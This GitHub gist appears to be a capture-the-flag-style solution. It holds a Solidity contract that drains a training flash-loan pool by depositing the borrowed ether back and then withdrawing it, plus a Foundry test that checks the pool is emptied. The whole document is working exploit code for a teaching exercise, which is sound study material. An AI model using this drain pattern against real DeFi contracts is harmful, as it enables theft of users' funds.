Created
October 26, 2024 16:24
-
-
Save psychemist/c1dc4efcfad593c1fc5088927fe1ea13 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| contract FlashLoanAttacker is IFlashLoanEtherReceiver { | |
| Web3BridgeCXIPool private immutable pool; | |
| constructor(address poolAddress) { | |
| pool = Web3BridgeCXIPool(poolAddress); | |
| } | |
| function attack() external { | |
| pool.flashLoan(address(pool).balance); | |
| pool.withdraw(); | |
| payable(msg.sender).transfer(address(this).balance); | |
| } | |
| function execute() external payable override { | |
| pool.deposit{value: msg.value}(); | |
| } | |
| receive() external payable {} | |
| } | |
| // SPDX-License-Identifier: MIT | |
| pragma solidity >0.8.0; | |
| import {Utilities} from "../utils/Utilities.sol"; | |
| import "forge-std/Test.sol"; | |
| import {Web3BridgeCXIPool, FlashLoanAttacker} from "src/web3bridgecxipool.sol"; | |
| contract Web3BridgeCXIPoolTest is Test { | |
| uint256 internal constant ETHER_IN_POOL = 1_000e18; | |
| Utilities internal utils; | |
| Web3BridgeCXIPool internal pool; | |
| address payable internal attacker; | |
| uint256 public attackerInitialEthBalance; | |
| function setUp() public { | |
| utils = new Utilities(); | |
| address payable[] memory users = utils.createUsers(1); | |
| attacker = users[0]; | |
| vm.label(attacker, "Attacker"); | |
| pool = new Web3BridgeCXIPool(); | |
| vm.label(address(pool), "Web3 Bridge Lender Pool"); | |
| vm.deal(address(pool), ETHER_IN_POOL); | |
| assertEq(address(pool).balance, ETHER_IN_POOL); | |
| attackerInitialEthBalance = address(attacker).balance; | |
| console.log(unicode"🧨 Let's see if you can break it... 🧨"); | |
| } | |
| function testExploit() public { | |
| /** | |
| * EXPLOIT START * | |
| */ | |
| vm.startPrank(attacker); | |
| FlashLoanAttacker attackerContract = new FlashLoanAttacker(address(pool)); | |
| attackerContract.attack(); | |
| vm.stopPrank(); | |
| /** | |
| * EXPLOIT END * | |
| */ | |
| validation(); | |
| console.log(unicode"\n🎉 Congratulations, you have solved it! 🎉"); | |
| } | |
| function validation() internal view{ | |
| assertEq(address(pool).balance, 0); | |
| assertGt(attacker.balance, attackerInitialEthBalance); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment